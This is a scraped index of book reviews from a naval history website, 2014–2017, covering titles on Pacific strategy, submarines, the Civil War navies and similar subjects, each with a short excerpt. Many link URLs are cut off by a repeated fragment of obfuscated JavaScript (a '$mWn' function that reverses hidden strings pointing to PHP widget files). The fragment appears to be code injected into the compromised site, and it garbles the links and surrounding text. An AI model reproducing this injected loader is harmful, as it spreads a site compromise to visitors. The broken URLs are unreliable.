- [BOOK REVIEW - <em>Rebalancing U.S. Forces: Basing and Forward Presence in the Asia-Pacific</em>](https://navyhistory.org/2014/09/book-review-rebalancing-u-s-forces-basing/) - Readers with a high tolerance for three and five letter acronyms and jargon will find a wealth of information about American capabilities in the Pacific and Indian Ocean basins, as well as the threat to forward bases in Japan and Taiwan.
- [BOOK REVIEW - <em>Fire On The Water:  China, America, and the Future of the Pacific</em>](https://navyhistory.org/2014/11/book-review-fire-on-the-water-china-america/) - Fire On The Water should provoke thought and discussion about China and its strategy, with reflections on the similarity between 1914 Europe and East and Southeast Asia today. These sobering thoughts should at least awaken people to the potential dangers.
- [BOOK REVIEW - <em>Silent Strength:  Remembering the Men of Genius and Adventure Lost in the World's Worst Submarine Disaster</em>](https://navyhistory.org/2014/11/book-review-silent-strength-remembering-the-men-of-genius/) - Silent Strength is the story of USS Thresher (SSN 593) and her loss on 10 April 1963. It also is the story of some of the 129 men lost aboard Thresher that day, as well as the story of their parents, siblings, wives and children, and the impact of their sudden passing on their families and the wider community.
- [BOOK REVIEW - <em>Fallujah Redux: The Anbar Awakening and the Struggle with Al Qaeda</em>](https://navyhistory.org/2014/11/book-review-fallujah-redux-the-anbar-awakening/) - Fallujah Redux takes readers through their assessment of the area and the important events in Anbar that reverberated all the way back to the White House. The Sunni tribes that rebelled against the Al Qaeda affiliate (then known as the Islamic State of Iraq) did not do so out of any love of the United States.
- [Steady Nerves and Stout Hearts on Veterans Day](https://navyhistory.org/2014/11/steady-nerves/) - “River Vale? Where is River Vale?” Perhaps most importantly, “Why River Vale?”
- [BOOK REVIEW - <em>Act of War:  Lyndon Johnson, North Korea, and the Capture of the Spy Ship</em> <em>Pueblo</em>](https://navyhistory.org/2014/12/book-review-act-of-war-lyn<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - This excellent history, drawn from 11,000 pages of previously classified or unexamined documents as well as memoirs and other more contemporaneous accounts, is an omnibus review of the 1968 Pueblo incident.
- [BOOK REVIEW - <em>The Admirals’ Advantage: U.S. Navy Operational Intelligence in World War II and the Cold War </em>](https://navyhistory.org/2014/12/book-review-the-admirals-advantage-u-s-navy-operational-intelligence-in-world-war-ii/) - This paperback reissue is the outgrowth of a series of operational intelligence (OPINTEL) “Lessons Learned” studies by Office of Naval Intelligence (ONI) reserve units conducted between 1994 and 2004.
- [BOOK REVIEW - <em>Fighting the War at Sea: Strategy, Tactics, and Technology </em>](https://navyhistory.org/2014/12/book-review-fighting-the-war-at-sea-strategy-tactics/) - Friedman offers readers an appreciation of the importance of factors often ignored in naval histories or war games. Logistics, personnel, and non-combat technologies (such as wireless communications) often determined victory. Friedman highlights these aspects superbly. Fighting the Great War at Sea is a book anyone interested in the maritime aspects of the war will want to read.
- [BOOK REVIEW - <em>The Admiral and the Ambassador: One Man’s Obsessive Search for the Body of John Paul Jones</em>](https://navyhistory.org/2015/02/book-review-the-admiral/) - Martelle tells a worthwhile tale, but his book, although brief, would have benefitted from more stringent editing. It’s hard at times to tell exactly where the story leads, as it contains numerous forays into history that have little or nothing to do with the primary topic, the search for Jones.
- [BOOK REVIEW - <em>MAN & THE SEA – Shipwrecks of Southwest Washington and Northwest Oregon 1792 – 1949</em>](https://navyhistory.org/2015/02/book-review-man-the-sea-shipwrecks-of-southwest-washing<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["/) - As one might expect, the majority of ships discussed within this book are sailing ships that voyaged over the waters off of Oregon’s and Washington’s Pacific Ocean coast between the years 1845 and 1920.
- [BOOK REVIEW - <em>The Yankee Expedition to Sebastopol: John Gowen and the Raising of the Russian Black Sea Fleet, 1857-1862</em>](https://navyhistory.org/2015/02/book-review-the-yankee-expedition-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - This book will provide a rewarding read for anyone fascinated with the long story of man and the sea – but it is definitely required reading for those interested in the history of the art of the salvor or nineteenth century technology.
- [BOOK REVIEW - <em>Crisis in the Mediterranean: Naval Competition and Great Power Politics, 1904-1914</em>](https://navyhistory.org/2015/02/book-review-crisis-in-the-mediterranean-naval-competition/) - Readers will ponder its implied lessons for our own times, on what happens when a dominant power loses its position of relative supremacy and thereby opens up an opportunity for others to attempt to fill the vacuum—and the terrible price that is typically paid by sailors, airmen, and soldiers when such occurs.
- [BOOK REVIEW - THE BLOOD TELEGRAM: Nixon, Kissinger, and a Forgotten Genocide](https://navyhistory.org/2015/02/book-review-the-blood-telegram-nixon-kissinger/) - Despite some of the impressions left by the author, The Blood Telegram provides readers a thorough yet interesting read covering an overlooked event in history. Bass’s writing style keeps the reader engaged and presents a complex situation into an organized historical account of the actions taken by the region’s most influential nations.
- [BOOK REVIEW - <em>US Heavy Cruisers: 1943 – 75:  Wartime and Post-war Classes</em>](https://navyhistory.org/2015/03/book-review-us-heavy-cruisers-1943-75-wartime/) - Stille packed a tremendous amount of information about these fine ships, the real workhorse of the navy for over 30 years. Stille’s infinite knowledge and excellent writing skills and the beautiful paintings and illustrations of Wright bring these grand and majestic warships to life.
- [BOOK REVIEW - <em>A Coward? The Rise and Fall of the Silver King</em>](https://navyhistory.org/2015/03/book-review-a-coward-the-rise/) - A Coward? The Rise and Fall of the Silver King is Dunn’s second biographical work, once more examining the life of a noted Royal Navy officer of the Victorian and Edwardian era. It is a story of a man “thought to be brave, and of great lineage who, for one instant’s decision, was forever associated with an act that many saw as that of a coward.”
- [BOOK REVIEW - <em>Against the Tide: Rickover’s Leadership Principles and the Rise of the Nuclear Navy</em>](https://navyhistory.org/2015/03/book-review-against-the-tide-rickovers-leadership-principles/) - With another twenty-two years of perspective, experience and wisdom gained in his post navy career, however, Rear Admiral Oliver does not succumb to just updating his ideas. He instead presents numerous vignettes he tackles the leadership principles of one of history’s more controversial figures, Admiral Hyman G. Rickover.
- [BOOK REVIEW - <em>They Were Heroes – A Sergeant Major’s Tribute to the Combat Marines of Iraq and Afghanistan</em>](https://navyhistory.org/2015/05/book-review-they-were-heroes-a-sergeant-majors-tribute-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["/) - The author does an excellent job bringing the memories of those who survived the action to life. The intensity and confusion of each encounter recorded is vividly written so that the reader is drawn into the battle. What is of interest that the majority of the actions recorded in this book are incidents of random violence perpetuated by individuals who are often indistinguishable in dress from the surrounding general population.
- [BOOK REVIEW - <em>Oil, Ice, and Bone: Arctic Whaler Nathaniel Ransom</em>](https://navyhistory.org/2015/05/book-review-oil-ice/) - Oil, Ice and Bone depicts the composition of the crews’ interactions with one another, making obvious the strains of the international industry and differences among crewman of different nationalities. He successfully describes the often-overlooked fact of poor crew retention, as very few ships returned to their homeports.
- [BOOK REVIEW - <em>The Supercarriers: The Forrestal and Kitty Hawk Classes</em>](https://navyhistory.org/2015/05/book-review-the-supercarriers-the-forrestal/) - The Supercarriers is great for those looking for a comprehensive introduction to this subject. Wargamers may find the technical specifications and air group listing useful. Model-makers or those interested in technical detail may not find much, but The Supercarriers should interest those whose primary focus is history.
- [BOOK REVIEW - <em>Surprised at Being Alive: An Accidental Helicopter Pilot in Vietnam and Beyond</em>](https://navyhistory.org/2015/06/book-review-surprised-at-being-alive-an-accidental-helicopter-pilot-in-vietnam/) - The author’s time in Vietnam was action packed, flying over the DMZ, the Laotian border and Khe Sanh. During his time there, he heard NVA radar and radio signals, dodged enemy ordnance, and survived an enemy round through the helo windshield.
- [BOOK REVIEW - <em>Empire, Technology, and Seapower:  Royal Navy Crisis in the Age of Palmerston</em>](https://navyhistory.org/2015/06/book-review-empire-technology/) - The applications to the United States supposed “maritime dominance” today and the strategy of the Peoples’ Liberation Army Navy of China in response make this book very relevant—but non-specialists may find the analogy too much work. I recommend this book primarily for naval historians and strategists. They will find it a challenging, but ultimately rewarding, read.
- [BOOK REVIEW - <em>Defiant: The American POWs Who Endured Hanoi's Most Infamous Prison, the Women Who Fought for Them, and the One Who Never Returned</em>](https://navyhistory.org/2015/06/book-review-defiant-the-american-pows-who-endured-hanois-most-infamous-prison-the-women-who-fought-for-them/) - Alvin Townley has done a remarkable job in portraying many aspects of the POW’s situation and capturing his resolve to return with honor. He has given a well-researched look into the hearts and minds of these men and their wives. Defiant will educate the serious military history student and the curious citizen. I believe it will also be an inspiration to many.
- [BOOK REVIEW -  <em>True Yankees: The South Seas and the Discovery of American Identity</em>](https://navyhistory.org/2015/08/book-review-true-yankees-the-south-seas/) - True Yankees is an excellent and highly important study. Most of all, Morrison shows that although the United States had indeed become a full partner in community of civilized nations by the signing of the Treaty of Wangxi in 1844, it was not the country that men like Shaw, Delano, and Fanning had hoped to build.
- [BOOK REVIEW - <em>The Ship That Wouldn’t Die: The Saga of the USS Neosho and a World War II Story of Courage and Survival at Sea</em>](https://navyhistory.org/2015/08/book-review-the-ship-that-wouldnt-die-the-saga-of-the-uss-neosho/) - In spite of the complexity of the surviving crew members, he adequately coordinated the timeline with the main battle while remaining focused on the crux of the story. The battle that ensued against nature is well presented; eye witness quotes, novelized explanations and personal thoughts keep it interesting.
- [BOOK REVIEW - <em>United States Coast Guard Leaders and Missions 1790 to Present</em>](https://navyhistory.org/2015/08/book-review-united-states-coast-guard-leaders/) - The authors lay the ground work for a graduate student to build a penetrating study of the administrative evolution of U.S. Coast Guard from its 1915 founding to 2015. This book is a great introduction into the lives of the men who have shaped today's U.S. Coast Guard.
- [BOOK REVIEW - <em>Nelson’s Victory: 250 Years of War and Peace</em>](https://navyhistory.org/2015/08/book-review-nelsons-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reg/) - Nelson’s Victory is filled with color illustrations, many from the period. These highlight both the appearance of the ship and the times in which it sailed. Model-makers will find the illustrations useful, and may even be inspired to build a version of Victory outside its Trafalgar period. Wargamers will find the book only marginally useful, but an interesting overview. Nelson’s Victory is an excellent general history of the ship, one those interested in the period will find interesting.
- [BOOK REVIEW - <em>The Myth of the Press Gang: Volunteers, Impressment, and the Naval Manpower Problem in the Eighteenth Century</em>](https://navyhistory.org/2015/10/book-review-the-myth-of-the-press-gang-volunteers-impressment/) - The Myth of the Press Gang is groundbreaking. Darcy overturns long-held assumptions about the Royal Navy. His assertions are backed by impressive research. It is a book any serious student of the period will want to – and needs – to read.
- [BOOK REVIEW - <em>Target Tokyo: Jimmy Doolittle and the Raid That Avenged Pearl Harbor</em>](https://navyhistory.org/2015/10/book-review-target-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - Author James M. Scott, a former journalist and Nieman Fellow at Harvard, captures the reader early and maintains suspense even though the outcome is well known. Although Target Tokyo is filled with facts and encyclopedic in scope, it is a pleasure to read and hard to put down, despite its nearly 500-page length.
- [BOOK REVIEW - <em>Airpower Reborn: The Strategic Concepts of John Warden and John Boyd</em>](https://navyhistory.org/2015/10/book-review-airpower-reborn-the-strategic-concepts-of-john-warden/) - This book is an excellent addition to your library for those who enjoy strategic analysis and theory. It should be required reading (as it may already be) at all of our service War Colleges. The strategic use of airpower offers new avenues for success in warfare that the old land centric concepts of Clausewitz could never imagine.
- [BOOK REVIEW - <em>Cushing’s Coup:  The True Story of How Lt. Col. James Cushing and His Filipino Guerrillas Captured Japan’s Plan Z and Changed the Course of the Pacific War</em>](https://navyhistory.org/2015/10/book-review-cushings-coup-the-true-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssal/) - Barreveld manages to place Cushing’s actions as a local guerrilla commander in a larger context that examines the American imperial presence in the Philippines, the importance of the Philippines for its natural resources as well as for its control of vital shipping lines for Japan, the power of the native oligarchy in the Philippines that to this day has hindered a more just political and economic order, and the lure of mining in the Philippines that led James Cushing and at least two of his brothers to travel there during the interwar period.
- [BOOK REVIEW - <em>The German and the Austrian Navies: Vol. I and II (Second Edition)</em>](https://navyhistory.org/2015/10/book-review-the-german/) - The 2nd Edition is a clear upgrade. It is much friendlier to the researcher and more interesting to the casual reader who enjoys ships photos and excellent paintings.
- [A Scaled Curse: Kennedy and the Curious History of the  “Black <em>Constitution</em>” Model](https://navyhistory.org/2015/11/a-scaled-curse-kennedy/) - The interesting story behind one of the most interesting artifacts in the U.S. Navy's historic collections.
- [BOOK REVIEW - <em>Privateering: Patriots and Profits in the War of 1812</em>](https://navyhistory.org/2015/12/book-review-privateering-patriots/) - This is an excellent read on many levels and is unique by adding the often-neglected Canadian perspective concerning this topic. Faye Kert’s scholarly, informative and concise work is highly recommended for inclusion in any maritime historian’s library.
- [BOOK REVIEW - <em>The Sailor’s Homer: The Life and Times of Richard McKenna, Author of</em> The Sand Pebbles](https://navyhistory.org/2015/12/book-review-the-sailors-homer-the-life/) - The Sailor’s Homer is a masterful book, a first-rate biography of a complex and overlooked author. Noble shows how to write a nautical biography.
- [BOOK REVIEW - <em>Navies and Soft Power: Historical Case Studies of Naval Power and the Nonuse of Military Force</em>](https://navyhistory.org/2016/01/book-review-navies/) - This short but powerful book, with essays written by contributors with a broad array of research interests within the Navy and Coast Guard establishment and broader academia, has a broad scope of nonmilitary operations that the U.S. Navy has excelled at, but a clear purpose in making sure that the Navy and Coast Guard remain able to address humanitarian and environmental concerns in the future as well.
- [BOOK REVIEW - <em>T.E. Lawrence and the Red Sea Patrol:  The Royal Navy’s Role in Creating the Legend</em>](https://navyhistory.org/2016/01/book-review-t-e-lawrence/) - The author provided incredible detail about the comings and goings of the vessels, often without need. The author does not explain the Royal Navy’s role in patrolling the entire Red Sea region but he briefly noted German efforts to gain access to the waterway.
- [BOOK REVIEW - <em>In the Shadow of the</em> Alabama: <em>The British Foreign Office and the American Civil War</em>](https://navyhistory.org/2016/01/book-review-in-the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - Overall, this quirky study is an incorporation of diplomatic history, maritime history, and genealogy. Its stories of the intersections of the rich and famous bring together an example of history as a series of coincidences or unexpected intersections. It is both delightfully engrossing and annoyingly frustrating.
- [BOOK REVIEW - <em>Torch: North Africa and the Allied Path to Victory</em>](https://navyhistory.org/2016/01/book-review-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - It’s hard to imagine a more complete treatment of Operation Torch. Although not an academic, O’Hara is a formidable scholar who apparently investigated every shred of extant documentation from all belligerents in the campaign.
- [BOOK REVIEW - <em>Thomas Jefferson and the Tripoli Pirates: The Forgotten War That Changed American History</em>](https://navyhistory.org/2016/01/book-review-thomas-jefferson/) - The major downside of Kilmeade’s effort is that he mistakenly lauds Thomas Jefferson and continually degrades John Adams’ regarding their respective contributions to the building up of an American Navy. This approach is at odds with most other histories of the era and is specifically contradictory to what has been written by David McCullough in John Adams and Ian Toll in Six Frigates.
- [BOOK REVIEW - <em>The Blockade-Runner </em>Denbigh <em>and the Union Navy: Including Glover's Analysis of the West Gulf Blockade and Archival Materials and Notes</em>](https://navyhistory.org/2016/04/book-review-the-blockade-runner-denbigh/) - The Blockade-Runner Denbigh and the Union Navy is a specialized book with a narrow focus. It will appeal to those interested in naval activities during the Civil War. Anyone seeking to learn the details of the blockade, whether researching a history or writing historical fiction centered on the blockade will find it invaluable.
- [BOOK REVIEW - <em>The Zeebrugge and Ostend Raids, 1918</em>](https://navyhistory.org/2016/04/book-review-the-zeebrugge/) - For those who read to a lesser purpose, The Zeebrugge and Ostend Raids 1918 provides an earnest introduction to an action of high adventure and it is with those caveats the work can be recommended.
- [BOOK REVIEW - <em>Fremantle’s Submarines: How Allied Submarines and Western Australians Helped to Win the War in the Pacific</em>](https://navyhistory.org/2016/04/book-review-fremantles-submarines-how-allied-submarines/) - The author of this book has crafted a splendid account of men in war in which he blends both social and military history together to form a seamless story. Fremantle Submarines deserves to be in any library trying to cover submarines in warfare. This book is a welcome compliment to Lynne Cairns’ book Secret Fleets: Fremantle World War II Submarine Base.
- [BOOK REVIEW - <em>Hunters and Killers; Vol. 1: Anti-Submarine Warfare from 1776 to 1943</em>](https://navyhistory.org/2016/04/book-review-hunters-2/) - There have only been a very few books that address the topic of Anti-Submarine Warfare (ASW) in general, none of which tries to cover the entire history of ASW. The goal of this book is to do just that: to digest and synthesize this whole demanding yet tremendously valuable literature of submarine warfare into a clear, readable yet complete historical summary and analysis which can serve both as an introduction to the newcomer and a sourcebook for students of the field.
- [BOOK REVIEW - Striking the Hornet's Nest: Naval Aviation and the Beginnings of Strategic Bombing in World War I](https://navyhistory.org/2016/04/book-review-striking-the-hornets-nest-naval-aviation/) - This book should also be considered for inclusion in the Commandant’s reading list as it dedicates chapters to the development of Marine Corps aviation, a military force that sought a mission and found it with Northern Bombing Group. Alfred Cunningham is portrayed as a brilliant organizer and advocate to get Leathernecks into the fray. Rossano and Wildenberg have produced a most readable narrative with and excellent illustrations that is highly recommended.
- [BOOK REVIEW - The Court-Martial of Paul Revere: A Son of Liberty and America’s Forgotten Military Disaster](https://navyhistory.org/2016/04/book-review-the-court-martial-of-paul-revere-a-son-of-liberty/) - This book is well researched and thoroughly explores the times and travails of Paul Revere. It is a superb review and a great story about this important figure and his role in the early days of the Republic. The book includes various illustrations that are photos of charts and other documents. However, some of these illustrations are difficult to understand, the various events described in the book would have been better served with simpler, modern diagrams of the geography and actions.
- [BOOK REVIEW - <em>Where Youth and Laughter Go – With “The Cutting Edge” in Afghanistan</em>](https://navyhistory.org/2016/06/book-review-where-youth/) - This book is destined to become a classic on unconventional warfare. The author’s writing draws the reader into the scene being presented whether on the battlefield or elsewhere. Anyone seeking to prepare themselves to lead men and woman into battle cannot go wrong by reading this book.
- [BOOK REVIEW - <em>Discovering the North-West Passage: The Four-Year Arctic Odyssey of H.M.S.</em> <em>Investigator</em> <em>and the McClure Expedition</em>](https://navyhistory.org/2016/07/book-review-discovering-the-north-west-passage-the-four-year-arctic-odyssey-of-h-m-s-investiga<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join(/) - Reviewed by Ingo Heidbrink, Ph.D.
- [BOOK REVIEW - <em>Into the Lion's Mouth: The True Story of Dusko Popov: World War II Spy, Patriot, and the Real-Life Inspiration for James Bond</em>](https://navyhistory.org/2016/07/book-review-in<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-steg/) - Reviewed by Martin J. Bollinger
- [BOOK REVIEW - <em>The Battle of Lake Champlain: A “Brilliant and Extraordinary Victory”</em>](https://navyhistory.org/2016/07/book-review-the-battle-of-lake-champlain-a-brilliant/) - Reviewed by Diana L. Ahmad, Ph.D.
- [BOOK REVIEW - <em>The Great Siege of Malta: The Epic Battle between the Ottoman Empire and the Knights of St. John</em>](https://navyhistory.org/2016/07/book-review-the-great-siege-of-malta-the-epic-battle-between-the-ot<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$/) - Reviewed by Robert P. Largess
- [BOOK REVIEW - <em>The CSS</em> Albemarle <em>and William Cushing: The Remarkable Confederate Ironclad and the Union Officer Who Sank It</em>](https://navyhistory.org/2016/09/book-review-the-css-albemarle/) - Reviewed by Robert P. Largess
- [BOOK REVIEW - <em>The Rivers Ran Backward: The Civil War and the Remaking of the American Middle Border</em>](https://navyhistory.org/2016/09/book-review-the-rivers-ran-backward-the-civil-war/) - Reviewed by Thomas P. Ostrom
- [BOOK REVIEW - <em>End of Empire – 100 Days in 1945 that Changed Asia and the World</em>](https://navyhistory.org/2016/09/book-review-end-of-empire-100-days-in-1945-that-changed-asia/) - Reviewed by Charles Bogart
- [BOOK REVIEW - Hunters and Killers: Volume 2: Anti-Submarine Warfare from 1943](https://navyhistory.org/2016/12/book-review-hunters/) - Hunters and Killers, Volume 2, is an interesting history even if not accompanied by the first volume because, by the end of the book, the reader is made aware of the continuing relevance and difficulty of the ASW problem. This book should be read by serving naval officers as a reminder of the threat that once was and that might be again.
- [BOOK REVIEW - <em>Defenseless Under the Night: The Roosevelt Years and the Origins of Homeland Security</em>](https://navyhistory.org/2016/12/book-review-defenseless-under-the-night-the-roosevelt-years/) - Matthew Dallek tells the fascinating story of the rise and fall of the Office of Civilian Defense (OCD), America’s first federal office of homeland security. FDR created the OCD less than six months before the Japanese attacked Pearl Harbor.
- [BOOK REVIEW - <em>Playing War: Wargaming and U.S. Navy Preparations for World War II</em>](https://navyhistory.org/2016/12/book-review-playing-war-wargaming/) - Playing War is a well-written, readable book that fills the niche Lillard intended admirably. Having said that, because the niche this book fills is specialized, the average popular history reader (even if an aficionado of all things World War II) will probably not be drawn to this particular work.
- [BOOK REVIEW - <em>Gulf Security and the U.S. Military: Regime Survival and the Politics of Basing</em>](https://navyhistory.org/2016/12/book-review-gulf-security/) - Overall, the analysis provided in the book is extremely valuable to US policy makers and officers in charge of American bases in those regions, as they will find important insights and inspirations from Gresh’s book. The lessons from this book can also be of great interest to policy advisors concerned with how the United States today can help countries in the Gulf regions to enhance their national security facing the severe threats from the rise of Islamic State (ISIS) and to reduce the risk of increasing internal security threats for those countries.
- [BOOK REVIEW - <em>Silent and Unseen: On Patrol in Three Cold War Attack Submarines</em>](https://navyhistory.org/2016/12/book-review-silent/) - Amusing anecdotes like this one fill Capt. Alfred S. McLaren's fascinating memoir of seven years as a junior officer aboard three operational U.S. Navy submarines during the height of the Cold War. Silent and Unseen is more than an entertaining series of sea stories; it also offers a candid reflection on leadership and a remarkable glimpse into Cold War submarine life and operations.
- [BOOK REVIEW - <em>Haze Grey and Underway: A Memoir of U.S. Navy Surface Operations in the Western Pacific Supporting the Vietnam War, 1965 to 1975 (Vols. 1 and 2)</em>](https://navyhistory.org/2017/01/book-review-haze-grey/) - By Capt. Barry Nelson Kaye USN (Ret.) Reviewed by Charles H. Bogart
- [BOOK REVIEW - <em>U.S. Navy Codebreakers, Linguists, and Intelligence Officers Against Japan 1910-1941: A Biographical Dictionary</em>](https://navyhistory.org/2017/01/book-review-u-s-navy-codebreakers-linguists/) - By Captain Steven E. Maffeo, USNR, (Ret.) Reviewed by Michael F. Solecki
- [BOOK REVIEW - <em>China's Quest For Great Power: Ships, Oil, and Foreign Policy</em>](https://navyhistory.org/2017/01/book-review-chinas-quest-for-great-power-ships-oil/) - Reviewed by Nathan Albright
- [BOOK REVIEW - <em>Battle Stars for the “Cactus Navy”: America’s Fishing Vessels and Yachts in World War II</em>](https://navyhistory.org/2017/02/book-review-battle-stars-for-the-cactus-navy-americas-fishing-vessels/) - By David D. Bruhn, Heritage Books, Inc., Berwyn Heights, MD (2014) Reviewed by Cdr. Larry Grant USN (Ret.)
- [BOOK REVIEW - <em>Ironclad: The</em> Monitor <em>and the</em> Merrimac](https://navyhistory.org/2017/02/book-review-ironclad-the-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - By Arthur Mokin Reviewed by Robert P. Largess
- [BOOK REVIEW - <em>The Royal Navy in the Age of Austerity 1919-22: Naval and Foreign Policy under Lloyd George</em>](https://navyhistory.org/2017/02/book-review-the-royal-navy-in-the-age-of-austerity-1919-22-naval/) - By G. H. Bennett Reviewed by Joseph Moretz, Ph.D.
- [BOOK REVIEW - <em>Eyes of the Fleet: The US Navy’s Seaplane Tenders and Patrol Aircraft in WWII</em>](https://navyhistory.org/2017/03/book-review-eyes-of-the-fleet-the-us-navys-seaplane-tenders/) - I personally found Eyes of the Fleet very interesting and informative. Its subject dovetailed with some of my perennial interests – carrier war, reconnaissance, the “Golden Age” of aviation history. Indeed for those deeply interested in the history of the flying boat – and the PBY – I’d say it’s a must-read.
- [BOOK REVIEW - <em>Rough Waters:  Sovereignty and the American Merchant Flag</em>](https://navyhistory.org/2017/03/book-review-rough-waters-sovereignty/) - The author’s research reveals a fundamental tension between maritime trade and national policy. Internal political pressures often push port-state nations to seek for security and regulations that benefit first world workers within the merchant marine.
- [BOOK REVIEW - <em>Choosing War: Presidential Decisions in the</em> Maine, Lusitania, <em>and</em> Panay <em>Incidents </em>](https://navyhistory.org/2017/03/book-review-choosing-war-presidential-decisions-in-the-maine-lusitania/) - Reviewed by Kenneth J. Hagan, Ph.D.
- [BOOK REVIEW - <em>Poseidon's Curse: British Naval Impressment and Atlantic Origins of the American Revolution</em>](https://navyhistory.org/2017/04/book-review-posei<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - Poseidon’s Curse is a thorough work of scholarship, probably not for popular history readers but certainly of value to those interested in the Royal Navy’s heritage in the age of sail.
- [BOOK REVIEW - <em>America’s Sailors in the Great War: Seas, Skies, and Submarines</em>](https://navyhistory.org/2017/05/book-review-americas-sailors-in-the-great-war-seas-skies/) - What is there to write about the American role in the war at sea; a war that in its last years spooled out in a way no one had expected: as a duel to the death between rival blockades? What the U.S. Navy did do, Dr. Rose explains, “contributed signally to the eventual victory…American sea, air, and land power nonetheless provided the decisive margin of force that check-mated and finally overwhelmed the Kaiser’s soldiers after four years of stalemate and bloodshed.”
- [BOOK REVIEW - <em>Chinese Naval Shipbuilding: An Ambitious and Uncertain Course</em>](https://navyhistory.org/2017/05/book-review-chinese-naval-shipbuilding-an-ambitious/) - The essays provide a detailed and often nuanced picture of a Chinese navy that may look increasingly impressive but suffer from problems such as quality control and limited systems engineering experience.
- [BOOK REVIEW - <em>21st Century Corbett: Maritime Strategy and Naval Policy for the Modern Era</em>](https://navyhistory.org/2017/05/book-review-21st-century-corbett-maritime-strategy/) - Taken altogether, 21st Century Corbett provides a worthy introduction to the man and his times. Of course, more awaits the reader including Some Principles of Maritime Strategy.
- [BOOK REVIEW - <em>Faces of the Civil War Navies: An Album of Union and Confederate Sailors</em>](https://navyhistory.org/2017/06/book-review-faces-of-the-civil-war-navies-an-album-of-union/) - Ronald Coddington has preserved the maritime side of the war with his creative use of what has been described as his “haunting photographs” of the sailors who fought, died, and survived in the War Between the States.
- [BOOK REVIEW - <em>Under a Blood Red Sun:  The Remarkable Story of PT Boats in the Philippines and the Rescue of General MacArthur</em>](https://navyhistory.org/2017/06/book-review-under-a-blood-red-sun-the-remarkable-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php./) - Domagalski’s story is worth reading since it brings to light a story with central importance to America’s vulnerability in early World War II that most people ignore today.
- [BOOK REVIEW - <em>Interpreting Naval History at Museums and Historic Sites</em>](https://navyhistory.org/2017/06/book-review-interpreting-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Hruska’s well-intentioned monograph does not challenge the debate between public and academic historians, but rather perpetuates it with his reliance on curatorial and exhibition websites for tertiary information.
- [BOOK REVIEW - <em>Strategy: Context and Adaptation from Archidamus to Airpower</em>](https://navyhistory.org/2017/06/book-review-strategy-context/) - Like the character Vizzini in the Princess Bride (1973), some of the essayists display a truly dizzying intellect, whizzing among topics, but rarely staying put long enough to fully explicate any of them.
- [BOOK REVIEW - <em>Solitary: The Crash, Captivity and Comeback of an Ace Fighter Pilot</em>](https://navyhistory.org/2017/07/book-review-solitary-the-crash-captivity/) - Solitary is the story of one man’s journey from the literal heights of flying at 20,000 feet in pursuit of his country’s enemies to the equally literal and very personal depths of the type of incarceration relatively—thankfully—few men have had to experience.
- [BOOK REVIEW - <em>Margaret Thatcher: A Life and Legacy</em>](https://navyhistory.org/2017/07/book-review-margaret-thatcher-a-life/) - This to-the-point, short biography of Margaret Thatcher, the United Kingdom's longest-serving prime minister, provides some interesting political parallels to today's United States.
- [BOOK REVIEW - <em>Knickerbocker Commodore: The Life and Times of John Drake Sloat 1781-1867</em>](https://navyhistory.org/2017/08/book-review-knickerbocker-commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - This book is much more than a well-researched and thoughtfully written biography of Commodore Sloat; it is a social history of the U. S. Navy during the years 1812-1857.
- [BOOK REVIEW - <em>Soldiers and Civilization:  How the Profession of Arms Thought and Fought the Modern World into Existence</em>](https://navyhistory.org/2017/08/book-review-soldiers/) - Soldiers and Civilization is rich in content that summarizes military history from an interesting vantage point, not as a defense or rationalization for warfare, but instead by accepting conflict as integral to human nature and seeking greater understanding of what appears to be unavoidable behavior.
- [BOOK REVIEW - <em>Churchill and the Dardanelles</em>](https://navyhistory.org/2017/08/book-review-churchill/) - Bell’s account of Churchill’s role in the Dardanelles campaign is thorough and convincing. It is well worth a careful reading for anyone interested in the high-level genesis, troubled execution, and ultimate failure of the attempt to open the strait.
